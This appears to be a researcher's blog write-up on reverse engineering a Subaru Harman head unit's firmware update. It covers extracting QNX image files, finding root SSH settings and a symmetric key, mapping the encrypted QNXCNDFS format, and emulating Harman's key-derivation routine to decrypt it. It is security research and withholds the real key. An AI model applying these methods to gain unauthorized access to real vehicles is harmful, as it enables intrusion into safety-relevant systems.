Cortex-A9 MPCore login: RVC:tw9990_fast_init: Triggered TW9990 HW Reset RVC:tw9990_fast_init: /dev/i2c4 is ready WFDpixel_clock_kHz: 29760 WFDhpixels: 800 WFDhfp: 16 WFDhsw: 3 WFDhbp: 45 WFDvlines: 480 WFDvfp: 5 WFDvsw: 3 WFDvbp: 20 WFDflags: 2 RVC:tw9990_fast_init: Decoder fast init completed [Interrupt] Attached irqLine 41 with id 20. [Interrupt] Attached irqLine 42 with id 21. root root Password: Login incorrect Serial has a username and password. A good guess is that it's using the exact same credentials as the SSH server. Another dead end. At this point I tried breaking into some form of bootloader on boot via keystrokes and grounding various chips, but no luck. There are other pins, so we could look for JTAG, but since we have a firmware update package, let's investigate that first. JTAG would involve spending more money, and part-time embedded security research isn't exactly the most lucrative career choice. Installing the Update To install the update, we first need to solder on a USB socket so we can insert a flash drive into the test setup. Subaru seems to sell these cables officially for around 60$. The cheaper way is to splice a USB extension cord and solder the four leads directly to the board. After doing this step, the system accepts the downloaded update. The device I purchased from a salvage yard actually had a newer firmware version than the files I got from various Subaru forums. The good news is that the system supports downgrading and does not appear to reject older firmwares. It also happily reinstalls the same firmware version on top of itself. Now onto the firmware analysis stage. Firmware Here's what the update package has: BASE-2017MY Impreza Harman Audio Update 06-2017/update/KaliSWDL$ ls -lash total 357M 0 drwxrwxrwx 1 work work 4.0K Jun 7 2017 . 0 drwxrwxrwx 1 work work 4.0K Jun 7 2017 .. 4.0K -rwxrwxrwx 1 work work 1.8K Jun 7 2017 checkswdl.bat 44K -rwxrwxrwx 1 work work 43K Jun 7 2017 KaliSWDL.log 784K -rwxrwxrwx 1 work work 782K Jun 7 2017 md5deep.exe 167M -rwxrwxrwx 1 work work 167M Jun 7 2017 swdl.iso 0 -rwxrwxrwx 1 work work 48 Jun 7 2017 swdl.iso.md5 86M -rwxrwxrwx 1 work work 86M Jun 7 2017 swupdate.dat 104M -rwxrwxrwx 1 work work 104M Jun 7 2017 system.dat checkswdl.bat - Checks the md5sum of swdl.iso and compares it with swdl.iso.md5. Prints a nice pirate ship thumbs-up on a successful verification, else a pirate flag on failure. _@_ ((@)) ((@)) ((@)) ______===(((@@@@====) ##########@@@@@=====)) ##########@@@@@----)) ###########@@@@----) ========----------- !!! FILE IS GOOD !!!! At first, I thought the only signature checking on the update was a md5 sum we could modify in the update folder. Thankfully, that assumption was incorrect. KaliSWDL.log - Build log file. This doesn't look like it needs to be included with the update package. My guess is that it is just a build artifact Harman didn't clean up. VARIANT : NAFTA LOGFILE : F:\Perforce\Jenkins\Slave\workspace\Subaru_Gen3_Release_Gen3.0\project\build\images\KaliSWDL\KaliSWDL.log MODELYEAR : MY2017 BUILD VERSION : Rel2.17.22.20 BUILD YEAR : 17 BUILD WEEK : 22 BUILD PATCH : 20 BUILD TYP : 1 BUILD BRANCH : Rel BUILD VP : Base The system cannot find the file specified. The system cannot find the file specified. The system cannot find the file specified. The system cannot find the file specified. - BuildType - 1 - Build Branch - Rel - Build Version Year - 17 - Build version Week - 22 - Build Version Patch - 20 - Model Year - MY2017 - Market - NA - Market - NA - VP - Base - Salt - 10 swdl.iso - ISO file containing lots of firmware related files. Guessing the ISO format was left over from older Harman systems where firmware updates were burned onto CDs. dat files - swupdate.dat and system.dat are high entropy files with no strings. Almost certainly encrypted. Only useful piece of information in the file is "QNXCNDFS" right at the beginning. Search engines, at the time I first looked at this, had no results for this filetype. My guess was that it was custom to Harman and/or QNX. $ hexdump -Cv -n 96 swupdate.dat 00000000 51 4e 58 43 4e 44 46 53 01 03 01 00 03 00 00 00 |QNXCNDFS........| 00000010 00 c0 ff 3f 00 00 00 00 8c 1d 5e 05 00 00 00 00 |...?......^.....| 00000020 00 a4 07 0c 00 00 00 00 00 02 00 00 00 00 00 00 |................| 00000030 80 02 00 00 00 00 00 00 90 0e 00 00 00 00 00 00 |................| 00000040 04 00 00 00 00 00 00 00 c1 00 00 00 00 00 00 00 |................| 00000050 00 00 10 00 00 80 10 00 04 00 00 00 04 00 00 00 |................| As the dat files look encrypted, starting with the ISO file makes the most sense. swdl.iso The ISO contains many files. More build artifacts with logs from the build server, what look like bootloader binary blobs, several QNX binaries with full debug symbols we can disassemble, one installation shell-script and, most importantly, IFS files. $ file softwareUpdate softwareUpdate: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), dynamically linked, interpreter /usr/lib/ldqnx.so.2, BuildID[md5/uuid]=381e70a72b349702a93b06c3f60aebc3, not stripped IFS Files QNX describes IFS as: An OS image is simply a file that contains the OS, plus any executables, OS modules, and data files that are needed to get the system running properly. This image is presented in an image filesystem (IFS). Thus, IFS is a binary format used by QNX. The only other important information to note here is that we can extract them with tools available on github. See dumpifs. ifs-subaru-gen3.raw Contents Running dumpifs on ifs-subaru-gen3.raw gets us this: Decompressed 1575742 bytes-> 3305252 bytes Offset Size Name 0 8 *.boot 8 100 Startup-header flags1=0x9 flags2=0 paddr_bias=0 108 52008 startup.* 52110 5c Image-header mountpoint=/ 5216c 1994 Image-directory ---- ---- Root-dirent 54000 8e000 proc/boot/procnto-instr e2000 16f4 proc/boot/.script e4000 521 bin/.kshrc e5000 2e6 bin/boot.sh e6000 10d bin/mountMMC0.sh e7000 63 bin/umountMMC0.sh e8000 6b bin/mountUSB.sh e9000 2b9 bin/mountUSBUpdate.sh ea000 6d6 bin/startUpdate.sh Lots of base operating system files. We can extract most of them via dumpifs -bx ifs-subaru-gen3.raw. $ ls authorized_keys ftpd.conf libtracelog.so.1 shadow banner ftpusers ln slay Base.pub getconf login sleep boot.sh gpio.conf lsm-pf-v6.so slogger2 cam-disk.so group mount spi-master cat hosts mount_ifs spi-mx51ecspi.so checkForUpdate.sh i2c-imx mountMMC0.sh sshd_config cp ifs-subaru-gen3.raw mountUSB.sh ssh_host_dsa_key devb-sdmmc-mx6_generic img.conf mountUSBUpdate.sh ssh_host_key devc-pty inetd.conf mv ssh_host_rsa_key devc-sermx1 init.sh NAFTA.pub startNetwork.sh dev-ipc io passwd startRvc.sh dev-memory io-blk.so pf.conf startUpdate.sh dev-mmap ipl-subaru-gen3.bin pf.os SubaruPubkey.pmem earlyStartup.sh ksh pipe symm.key echo libcam.so.2 prepareEMMCBootArea.sh sync eMMCFactoryFormat.sh libc.so.3 procnto-instr touch eMMCFormat.sh libdma-sdma-imx6x.so.1 profile umount enableBootingFromEMMCBootArea.sh libfile.so.1 rm umountMMC0.sh fram.conf libslog2parse.so.1 scaling.conf uname fs-dos.so libslog2shim.so.1 scaling_new.conf updateIPLInEMMCBootArea.sh fs-qnx6.so libslog2.so.1 services waitfor This clearly isn't even close to all of the files the system will use to boot and launch the interface, but it's a start. Files of Note authorized_keys - key for sshd. Probably how Harman engineers can login over SSH for troubleshooting and field support. banner - sshd banner we see when we connect over WiFi. This indicates that we're looking at the right files. sshd_config - AllowUsers root, PasswordAuthentication yes, PermitRootLogin yes, Wow! passwd: root:x:0:0:Superuser:/:/bin/sh daemon::1:2:daemon:/: dm::2:8:dwnmgr:/: ubtsvc:x:3:9:bt service:/: logger:x:101:71:Subaru Logger:/home/logger:/bin/sh certifier:x:102:71:Subaru Certifier:/home/certifier:/bin/sh shadow - Password hashes for root and other accounts. QNX6 hashtype is supported by JTR (not hashcat as far as I am aware), but doesn't appear to be GPU accelerated. I spent several days attempting a crack on a 32-core system using free CPU credits I had from one of the major providers, but without GPU acceleration, got nowhere. As long as they made the password decently complicated, there isn't much we can do. startnetwork.sh - Starts "asix adapter driver" then loads a DHCP client. AKA we can buy a cheap USB to Ethernet adapter, plug it into the head unit's USB ports, and get access to the vehicles internal network. This allows us access to sshd on base units that do not have the wireless chipset. This is almost certainly how Harman field engineers troubleshoot vehicles. We can verify this works by buying an ASIX adapter, plugging it in, powering up the head unit, watching traffic on Wireshark, and seeing the DHCP probes. symm.key - Clearly a symmetric key. Obvious guess is the key that decrypts the .dat files. Perfect. minifs.ifs Contents There are other IFS files included in the ISO. miniifs seems to contain most of the files used during the software update process. Almost every command line binary on the system has handy help descriptions we can get via strings: %C softwareUpdate Usage => -------- To Start Service installUpdate -c language files -l language id -i ioc channel name ( e.g. /dev/ioc/ch4) -b If running on Subaru Base Variant -p pps path to platform features, e.g /pps/platform/features -r config file path for RH850 Binary mapping e.g)# installUpdate & or # e.g) # installUpdate -l french_fr &NAME=installUpdate DESCRIPTION=installUpdate There are too many files to note here, but a few stand out: andromeda - An enormous 17MB-20MB binary blob that seems to run the UI and implement most of the head unit functionality. Looks to make heavy use of QT. installUpdate - Installs update files. installUpdate.sh - Shell script that triggers the update. Unknown who or what calls this script. So, installUpdate.sh executes this at the end: echo " -< Start of InstallUpdate Service >- " installUpdate -c /fs/swMini/miniFS/usr/updatestrings.json -b postUpdate.sh What's in updatestrings.json? "SWDL_USB_AUTHENTICATED_FIRST_SCREEN": "This update may take up to 60 minutes to<br>complete. Please keep your vehicle running<br>(not Accessory mode) throughout the entire<br>installation.", "SWDL_USB_AUTHENTICATED_SECOND_SCREEN": "If you update while your vehicle is idling,<br>please make sure that your vehicle<br>is not in an enclosed spa ce such as a<br>garage.", "SWDL_USB_AUTHENTICATED_THIRD_SCREEN": "The infotainment system will be temporarily<br>unavailable during the update.<br>Current Version: %s<br>Availab le Version: %s<br>Would you like to install now?", "SWDL_USB_AUTHENTICATED_THIRD_SCREEN_SAME_IMAGE": "The infotainment system will be temporarily<br>unavailable", The file contains the same strings shown to the user through the GUI during the software update process. Hence, installUpdate is almost certainly the file we want to reverse engineer to understand the update process. Remember the encrypted dat files with the QNXCNDFS header? Let's see if any binaries reference that string. $ ag -a QNXCNDFS Binary file cdqnx6fs matches. Binary file cndfs matches. $ strings cndfs %C - condense / restore Power-Safe (QNX6) file-systems %C -c [(general-option | condense-option)...] src dst %C -r [(general-option | restore-option)...] src dst General options: -C dll specify cache-control DLL to use with direct I/O -f force use of direct I/O, even if disk cache cannot be discarded -I use direct I/O for reading data -k key specify the key to use for data encryption / decryption. <key> must be a string of hexadecimal digits, optionally separated by punctuation characters. -K dll[,args] specify a DLL to provide the key to use for data encryption or decryption. Optionally, an arguments string can be added which will be passed to the key provider function. See below. -O use direct I/O for writing data -p name store progress information in shared-memory object <name> -s size specify the chunk size [bytes] (default: 1M) -S enable synchronous direct I/O. This should cause io-blk to discard cached blocks on direct I/O, which may reduce performance. Default is to try and discard the cache for the entire device before any I/O is performed (see -f option). -v increase verbosity -? print this help Condense-options: -b size specify the raw block size for compression [bytes] (default: 64k) -c condense file-system <src> into file <dst> -d num specify the data hashing method. <num> must be in the range 0..7 (default: 4). See below for supported methods. -D deflate data -h num specify the header hashing method. <num> must be in the range 0..6 (default: 4). See below for supported methods. -m num specify the metadata hashing method. <num> must be in the range 0..6 (default: 4). See below for supported methods. Restore-options: -r restore file-system <dst> from condensed file <src> -V verify written data during restoration Where: src is the source file / block device dst is the destination file / block device Hash methods: 0 = none 1 = CRC32 2 = MD5 3 = SHA224 4 = SHA256 5 = SHA384 6 = SHA512 7 = AES256-GCM (encrypts; requires 256-bit key) It appears that cndfs/cdqnx6fs can both encrypt/decrypt our dat files, and CNDFS stands for "condensed" filesystem. The help message also lets us know that it is almost certainly encrypted with AES256-GCM, uses a 256-bit key, and may be compressed. Unfortunately, we'd need code execution to run this. ISO Modification The most logical first attack is to modify the ISO. We can verify this method is impossible by changing a single byte in the image and trying to install it. On USB insertion, the device probes for certain files on the USB stick. If it finds files that indicate an update, it will claim that it is verifying the integrity of the files (although it actually doesn't do this until reboot, strange!), print a "success" message, reboot into some form of software-update mode, then actually checks the integrity of the ISO. Only the ISO header appears to be signed, but the header contains a SHA hash of the rest of the ISO. Installation will only continue if the header and SHA hashes validate. Barring a mistake in the signature verification subroutines, we will be unable to modify the ISO for trivial code execution. At this point we've extracted a large number of relevant files from the update package. The files appear to be specific to the early boot process of the device and a specific update mode. We don't yet know what is contained in the encrypted dat files. Reverse Engineering QNXCNDFS As code execution via ISO modification is unfortunately (fortunately?) not trivial, the next step is to decrypt the condensed dat file. Ideally the encrypted files contain some form of security sensitive functionality — i.e. perhaps debug functionality we can abuse on USB insertion. Plenty of embedded systems trigger functionality and debug settings when specific files are loaded onto USB drives and inserted, so we can hope for that here. At worst, we will most likely gain access to more system files we can investigate for rooting opportunities. QNXCNDFS is a custom image format with no known information available on the Internet, so we'll start from scratch with the installUpdate binary. We know that cndfs or cdqnx6fs are probably involved as they contain the QNXCNDFS string, but how do they get called? installUpdate Flow First, find any references to the cdqnx6fs or cndfs files in installUpdate. It probably gets called here: LOAD:0805849C ; r0 is key? LOAD:0805849C LOAD:0805849C dat_spawn_copy_directory ; CODE XREF: check_hash_copy+CA↓p LOAD:0805849C LOAD:0805849C var_28 = -0x28 LOAD:0805849C var_24 = -0x24 LOAD:0805849C var_20 = -0x20 LOAD:0805849C var_1C = -0x1C LOAD:0805849C var_18 = -0x18 LOAD:0805849C var_14 = -0x14 LOAD:0805849C LOAD:0805849C 70 B5 PUSH {R4-R6,LR} LOAD:0805849E 0C 46 MOV R4, R1 LOAD:080584A0 86 B0 SUB SP, SP, #0x18 LOAD:080584A2 0E 49 LDR R1, =aCopyDirectoryC ; "Copy Directory Command " LOAD:080584A4 06 46 MOV R6, R0 LOAD:080584A6 0E 48 LDR R0, =_ZSt4cout ; std::cout LOAD:080584A8 15 46 MOV R5, R2 LOAD:080584AA FC F7 9D FA BL _ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc ; std::operator<<<std::char_traits<char>>(std::basic_ostream<char,std::char_traits<char>> &,char const*) LOAD:080584AE FC F7 6B FA BL sub_8054988 LOAD:080584B2 0C 4B LDR R3, =aR ; "-r" LOAD:080584B4 04 36 ADDS R6, #4 LOAD:080584B6 03 94 STR R4, [SP,#0x28+var_1C] LOAD:080584B8 02 96 STR R6, [SP,#0x28+var_20] LOAD:080584BA 01 20 MOVS R0, #1 LOAD:080584BC 00 93 STR R3, [SP,#0x28+var_28] LOAD:080584BE 0A 4B LDR R3, =aK ; "-k" LOAD:080584C0 04 95 STR R5, [SP,#0x28+var_18] LOAD:080584C2 0A 4A LDR R2, =(aFsSwminiMinifs_10+0x16) ; "cdqnx6fs" LOAD:080584C4 01 93 STR R3, [SP,#0x28+var_24] LOAD:080584C6 00 23 MOVS R3, #0 LOAD:080584C8 05 93 STR R3, [SP,#0x28+var_14] LOAD:080584CA 09 4B LDR R3, =off_808EA34 LOAD:080584CC D3 F8 94 10 LDR.W R1, [R3,#(off_808EAC8 - 0x808EA34)] ; "/fs/swMini/miniFS/bin/cdqnx6fs" LOAD:080584D0 08 4B LDR R3, =(aSCSIV+0xC) ; "-v" LOAD:080584D2 F9 F7 E0 E9 BLX spawnl LOAD:080584D6 06 B0 ADD SP, SP, #0x18 LOAD:080584D8 70 BD POP {R4-R6,PC} LOAD:080584D8 ; End of function dat_spawn_copy_directory spawnl creates a child process, so this seems like the correct location. If we look at the caller of dat_spawn_copy_directory, we find ourselves near code verifying some form of integrity of a dat file. LOAD:080586BC loc_80586BC ; CODE XREF: check_hash_copy+2E↑j LOAD:080586BC ; check_hash_copy+8E↑j LOAD:080586BC 20 6D LDR R0, [R4,#0x50] LOAD:080586BE 29 46 MOV R1, R5 LOAD:080586C0 3A 46 MOV R2, R7 LOAD:080586C2 04 F0 80 F8 BL check_dat_hash LOAD:080586C6 01 28 CMP R0, #1 LOAD:080586C8 81 46 MOV R9, R0 LOAD:080586CA 06 D1 BNE loc_80586DA LOAD:080586CC LOAD:080586CC invalid_dat_file ; CODE XREF: check_hash_copy+40↑j LOAD:080586CC 2E 49 LDR R1, =aIntrusionDetec ; "Intrusion detected: Invalid dat file!!!" LOAD:080586CE 2B 48 LDR R0, =_ZSt4cout ; std::cout LOAD:080586D0 FC F7 8A F9 BL _ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc ; std::operator<<<std::char_traits<char>>(std::basic_ostream<char,std::char_traits<char>> &,char const*) LOAD:080586D4 FC F7 58 F9 BL sub_8054988 LOAD:080586D8 41 E0 B loc_805875E check_dat_hash doesn't actually verify the dat files — instead, it verifies the ISO contents hash to a value that is in the ISO header. This is relatively easy to discover as the function does a fseek to 0x8000 right at the start. LOAD:0805C850 4F F4 00 41 MOV.W R1, #0x8000 ; off LOAD:0805C854 2A 46 MOV R2, R5 ; whence LOAD:0805C856 F4 F7 66 EE BLX fseek LOAD:0805C85A 78 B1 CBZ R0, loc_805C87C LOAD:0805C85C 04 21 MOVS R1, #4 LOAD:0805C85E 05 22 MOVS R2, #5 LOAD:0805C860 32 4B LDR R3, =aFseekFailedToO ; "Fseek failed to offset 32768" What is 0x8000? The ISO 9660 filesystem specifies that the first 0x8000 bytes are "unused". Harman appears to use this section for signatures and other header information. Thus, installUpdate is seeking past this header, then hashing the rest of the ISO contents to verify integrity. The header is signed and contains the comparison hash, so we cannot just modify the ISO header hash to modify the ISO as we'd also need to re-sign the file. That would require Harman's private key, which we obviously don't have. Before installUpdate calls into the QNXCNDFS functionality, the system needs to successfully verify the ISO signature. Easy enough, we already have a valid update that is signed. cdqnx6fs Start by looking at the cdqnx6fs strings. This handy string pops out: Source: '%s' %s Destination: '%s' %s Chunk size: %u bytes Raw chunk size: %u bytes Max raw blk length: %u bytes Max cmp blk length: %u bytes Extents per chunk: %u Condensed file information: Signature: 0x%08llx Version: 0x%08x Flags: 0x%08x Compressed: %s File size: %llu bytes Number of extents: %llu Header hash method: %s Payload data: %llu bytes Header hash: %s Metadata hash method: %s Metadata hash: %s Data hash method: %s Data hash: %s File system information: File system size: %llu bytes Block size: %u bytes Number of blocks: %u Bitmap size: %u bytes Nr. of used blocks: %u On execution, the application prints out a large amount of header data. If we go to the function printing this string, the mapping between the header and the string prints becomes clear. LOAD:0804AA8C 4D F2 1C 10+ MOV R0, #aCondensedFileI ; "Condensed file information:" LOAD:0804AA94 FF F7 96 E9 BLX puts LOAD:0804AA98 BB 68 LDR R3, [R7,#0x18+var_10] LOAD:0804AA9A D3 E9 00 23 LDRD.W R2, R3, [R3] LOAD:0804AA9E 4D F2 38 10+ MOV R0, #aSignature0x08l ; " Signature: 0x%08llx\n" LOAD:0804AAA6 FF F7 3A E9 BLX printf LOAD:0804AAAA BB 68 LDR R3, [R7,#0x18+var_10] LOAD:0804AAAC 1B 89 LDRH R3, [R3,#8] LOAD:0804AAAE 4D F2 5C 10+ MOV R0, #aVersion0x04hx ; " Version: 0x%04hx\n" LOAD:0804AAB6 19 46 MOV R1, R3 LOAD:0804AAB8 FF F7 30 E9 BLX printf LOAD:0804AABC BB 68 LDR R3, [R7,#0x18+var_10] LOAD:0804AABE 5B 89 LDRH R3, [R3,#0xA] LOAD:0804AAC0 4D F2 80 10+ MOV R0, #aFsType0x04hx ; " FS type: 0x%04hx\n" LOAD:0804AAC8 19 46 MOV R1, R3 LOAD:0804AACA FF F7 28 E9 BLX printf LOAD:0804AACE BB 68 LDR R3, [R7,#0x18+var_10] LOAD:0804AAD0 DB 68 LDR R3, [R3,#0xC] LOAD:0804AAD2 4D F2 A4 10+ MOV R0, #aFlags0x08x ; " Flags: 0x%08x\n" R3 points to the DAT file contents. Before each print, a constant is added to the DAT file content pointer then the value is dereferenced. In effect, each load shows us the correct offset to the field being printed. Thus, signature is offset 0 (the QNXCNDFS string, not a digital signature one might first suspect), version is offset 8, filesystem type is offset 0xA, etc. Using this subroutine, we can recover around 70-80% of the header data for the encrypted file with virtually no effort. Since we don't know what FS type actually means or corresponds to, these aren't the best fields to verify. If we go down a bit in the function, we get to more interesting header fields with sizes. LOAD:0804AB38 BB 68 LDR R3, [R7,#0x18+var_10] LOAD:0804AB3A D3 E9 04 23 LDRD.W R2, R3, [R3,#0x10] LOAD:0804AB3E 4D F2 10 20+ MOV R0, #aRawSizeLluByte ; " Raw size: %llu bytes\n" LOAD:0804AB46 FF F7 EA E8 BLX printf LOAD:0804AB4A BB 68 LDR R3, [R7,#0x18+var_10] LOAD:0804AB4C D3 E9 06 23 LDRD.W R2, R3, [R3,#0x18] LOAD:0804AB50 4D F2 38 20+ MOV R0, #aCondensedSizeL ; " Condensed size: %llu bytes\n" LOAD:0804AB58 FF F7 E0 E8 BLX printf LOAD:0804AB5C BB 68 LDR R3, [R7,#0x18+var_10] LOAD:0804AB5E D3 E9 08 23 LDRD.W R2, R3, [R3,#0x20] LOAD:0804AB62 4D F2 60 20+ MOV R0, #aRawDataBytesLl ; " Raw data bytes: %llu bytes\n" LOAD:0804AB6A FF F7 D8 E8 BLX printf Condensed size is a double-word (64-bit value) loaded at offset 0x18. This corresponds to this word in our header: 00000010 00 c0 ff 3f 00 00 00 00 8c 1d 5e 05 00 00 00 00 |...?......^.....| 8c 1d 5e 05 00 00 00 00 is little endian for 90054028 bytes, which is the exact size of swupdate.dat. This is confirmation that we're on the right track with the header. The header contains several configurable hashes. There's a hash for the metadata, a hash for an "extents" and "cluster" table, and finally a hash for the actual encrypted data. The hash bounds can be reverse engineered by simply guessing else looking a bit further in the binary. The cdqnx6fs binary is quite compact and doesn't contain many debugging strings. Reverse engineering it will be time consuming, so attempting to guess at the file-format instead of reverse engineering large amounts of filesystem IO code could save time. Cluster Table The cluster table contains a header-configurable number of clusters. I didn't know what clusters were at this point, but an initial guess is something akin to a filesystem block. The header also contains an offset to a table of clusters. The table of clusters looks like this: 00000280 90 0e 00 00 00 00 00 00 e1 e6 00 00 00 00 00 00 |................| 00000290 71 f5 00 00 00 00 00 00 19 1c 00 00 00 00 00 00 |q...............| 000002a0 8a 11 01 00 00 00 00 00 19 1c 00 00 00 00 00 00 |................| 000002b0 a3 2d 01 00 00 00 00 00 19 1c 00 00 00 00 00 00 |.-..............| Again, we can easily guess what this is with a little intuition. If we assume the first doubleword is a pointer in the existing file and navigate to offset 0x0E90, we get: 00000e50 80 f3 42 05 00 00 00 00 5f 89 07 00 00 00 00 00 |..B....._.......| 00000e60 df 7c 4a 05 00 00 00 00 96 fd 08 00 00 00 00 00 |.|J.............| 00000e70 75 7a 53 05 00 00 00 00 2c 21 06 00 00 00 00 00 |uzS.....,!......| 00000e80 a1 9b 59 05 00 00 00 00 eb 81 04 00 00 00 00 00 |..Y.............| 00000e90 0e 0f 86 ac 0a e5 9c 25 ce 6d 09 ee 9c 58 39 9a |.......%.m...X9.| 00000ea0 97 84 6f 26 5c 8b 03 c2 bf b6 c8 80 11 69 34 10 |..o&\........i4.| 00000eb0 c1 0c 02 5c 01 fa f8 fa 10 65 c2 d3 3b 49 82 14 |...\.....e..;I..| 00000ec0 d6 3c ef ce db 52 5b 11 42 69 6e c3 50 a2 1f af |.<...R[.Bin.P...| 0xe90 is the end of the cluster table (note the change in entropy). The first doubleword is almost certainly an offset into the data section. For the next doubleword, a guess is that it is the size of the cluster data. 0x0e90 + 0xE6E1 = 0xF571. The next cluster entry offset is indeed 0xF571. We now understand the cluster table and the data section. Cluster Data Chunks of cluster data can now be extracted from the data segment using the cluster table. Each chunk looks entirely random and there is no clear metadata in any particular chunk. Using header data, we know that both dat files shipped in this update are both encrypted and compressed. The decryption step will need to happen first using AES256-GCM. Via reverse engineering and searching for strings near the encryption code, it is clear that the cdqnx6fs binary is using mbed tls. The target decryption function is mbedtls_gcm_auth_decrypt . After researching GCM a bit more, we will need the symmetric key, the initialization vector, and an authentication tag to correctly decrypt and verify the buffer. We have a probable symmetric key from the filesystem, but need to find the IV and tag. Again, the code is dense and reverse-engineering the true structure would take quite a bit of time, and I didn't find evidence of a constant IV, so let's guess. If I were designing this, I'd put the IV in the first 16 bytes, the tag in the next 16, then have the encrypted data following that. There aren't too many logical combinations here, so we can switch the IV and tag around, and also try prepending and appending this data. This seemed likely to me. Unfortunately, after plugging in the symmetric key and trying the above process in python, nothing seemed to decrypt correctly. The authentication tags never matched. Thus, we potentially guessed incorrectly on the structure of the encrypted clusters, the algorithm isn't actually AES-GCM (or it was modified), or something else is going on. Before delving into the code, let's search for where the encryption key is passed from installUpdate to cdqnx6fs. The symm.key file seems like an obvious choice for the symmetric key, but maybe that isn't correct. Decrypting How do we locate where the symmetric key is loaded and passed to the new process? Search for the filename and examine all references. There is only one reference, and it is passed to fopen64. A short while after, this value is passed to the cdqnx6fs process. Examine the following code: LOAD:08052ADE 37 48 LDR R0, =aDecrypting ; "Decrypting..." LOAD:08052AE0 FE F7 74 EE BLX puts LOAD:08052AE4 36 4B LDR R3, loc_8052BC0 LOAD:08052AE6 37 49 LDR R1, =(aR+1) ; "r" LOAD:08052AE8 18 68 LDR R0, [R3] ; "/etc/keys/symm.key" LOAD:08052AEA FE F7 68 EA BLX fopen64 LOAD:08052AEE 05 46 MOV R5, R0 LOAD:08052AF0 48 B9 CBNZ R0, loc_8052B06 LOAD:08052AF2 35 4B LDR R3, =(a89abcdefcalcne+8) ; "calcNewSymmKey" LOAD:08052AF4 02 21 MOVS R1, #2 LOAD:08052AF6 0A 46 MOV R2, R1 LOAD:08052AF8 00 93 STR R3, [SP,#0xC0+var_C0] LOAD:08052AFA 32 23 MOVS R3, #0x32 LOAD:08052AFC 01 93 STR R3, [SP,#0xC0+var_BC] LOAD:08052AFE 33 4B LDR R3, =aUnableToOpenSy ; " Unable to open symm key file : %s , %d"... LOAD:08052B00 FE F7 FE EC BLX slog2f LOAD:08052B04 1E E0 B return_err A major hint is the debug error message that happens to print the function name. The function the symmetric key gets loaded in is called calcNewSymmKey, and another debug message prints "Decrypting...". The symmetric key is modified via some form of transformation. Key Generation Back before every app was built with Electron and used around three gigs of RAM to send a tweet, software authors would distribute demos and shareware, which was software that usually had the complete functionality unlocked for a brief time-trial. To unlock it, you would pay the author and get back a code (serial) you could enter into the program. This serial was often tied to hardware specific information or a user-name. If the serial was valid, the program would unlock. There are numerous different ways to get around this. In order of what the "scene" considered most technically impressive and useful back in the day, the best way to bypass software serial schemes was as follows: Key Generator - Reverse engineer the author's serial registration algorithm. Port it to C or well documented, ASM, write a nifty win32 applet that plays mod files and makes your logo spin around, etc. Self-key generation - Modify the binary to print out the real serial number in a text box. Many programs would make the fatal mistake of comparing the true serial with the one the user entered via strcmp. Just change the comparison to a message box display function and exit right after as you probably overwrote some important code. After you get the code, delete the patched version, install the original, and you have an "authentically" registered program. Patching - Bypass the time-limit, always return "Registered", etc. The more patches it took, usually the worse the "crack" was. Reverse engineering the key generation algorithm was always the hardest method. Patching was challenging as it was a cat and mouse game between developers and crackers. Registration functionality would get increasingly complicated to try and obfuscate what was going on. Harman has designed an encryption scheme that is quite similar to early software protection efforts. Emulation Harman's algorithm looks rather simple as the function generating the new key doesn't call into any subroutines, doesn't use any system calls, and is only 120 lines of ARM. The ARM is interesting to look at, but at the end of the day one can statically analyze the entire process without ever leaving the subroutine. But understanding the assembly and converting it to C will take time. What if we could just emulate the algorithm? We're running ARM. The easiest way will be to take the actual assembly and paste it directly into an assembly stub, then call into that from C. After it returns, print the modified memory contents. Cross-compile it, run in QEMU, and done. The idea is to take the Harman transformation code and run it exactly. This isn't quite as easy as copy-and-paste, but it is close. I had to modify a few registers to get this to work. The assembly stub: .syntax unified .section .text .global decrypt .cpu cortex-a9 .thumb decrypt: push {r4-r7, lr} # Code goes here! pop {r4-r7, pc} The C shim: #include <stdio.h> extern char *decrypt(char *, int); #define SALT 0x0 int main() { char symmetric_key[] = "key-was-here"; char *output = decrypt(symmetric_key, SALT); printf("Key is: %s\n", output); return 0; } The Makefile: all: arm-linux-gnueabi-gcc -Wall -pedantic key.c -g algo.s -static -mthumb && qemu-arm -cpu cortex-a9 a.out clean: rm a.out The only other trick to note is that the calcNewSymmKey function takes in one parameter called a salt. Salt is loaded from the very end of the standard ISO header (0x7FDE) and is also printed in some of the build artifacts that are still packaged with the updates. 00007fd0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 30 39 |..............09| 00007fe0 a9 2b 74 10 51 6b 01 46 5b 1a e3 40 dc d1 ec d5 |.+t.Qk.F[..@....| 00007ff0 36 a4 53 0c 23 05 bd 76 ac 60 83 f0 7b 88 79 c5 |6.S.#..v.`..{.y.| 00008000 01 43 44 30 30 31 01 00 57 69 6e 33 32 2f 4d 69 |.CD001..Win32/Mi| The salt fetching code simply converts a two-digit ASCII character array into an integer. salt = 10 * DIGIT1 + DIGIT2 - 0x210; Which is just an expanded version of the "convert a two-digit character array representing an integer number to an integer" algorithm: salt = 10(DIGIT1 - 0x30) + (DIGIT2 - 0x30) After running the key generator with the correct salt, we get a significantly modified symmetric key that decrypts the clusters. Easy as that! I believe the true key generation algorithm can be derived by playing around with the symmetric key and the salt value with the key generator. It appears to be a simple rotation cipher. I will not release the full key generator as it is using Harman's own code. On the plus side, this should cut down on "I flashed a random binary to my head unit and it won't turn on" support e-mails. Cluster Decryption With the new key, the aforementioned guessed decryption scheme works. IV is indeed the first chunk, followed by the authentication tag, followed by the encrypted data. 00000000 04 eb 10 90 00 60 00 01 10 43 00 18 d8 6f 17 00 |.....`...C...o..| 00000010 00 80 fa 31 c0 8e d0 bc 00 20 b8 c0 07 50 b8 36 |...1..... ...P.6| 00000020 01 50 cb 00 2b 81 00 66 90 e9 00 02 8d b4 b7 01 |.P..+..f........| 00000030 39 81 00 ff ff 04 00 93 27 08 00 3d 01 00 04 18 |9.......'..=....| 00000040 00 90 7c 26 b8 00 9b cf d7 01 19 cf 00 0d 0a 51 |..|&...........Q| 00000050 4e 58 20 76 31 2e 32 62 20 42 6f 6f 74 20 4c 6f |NX v1.2b Boot Lo| 00000060 61 64 65 72 57 00 10 55 6e 73 75 70 70 6f 72 74 |aderW..Unsupport| 00000070 65 64 20 42 49 4f 53 52 00 08 52 41 4d 20 45 72 |ed BIOSR..RAM Er| 00000080 72 6f 7e 00 09 44 69 73 6b 20 52 65 61 64 26 12 |ro~..Disk Read&.| 00000090 00 10 4d 69 73 73 69 6e 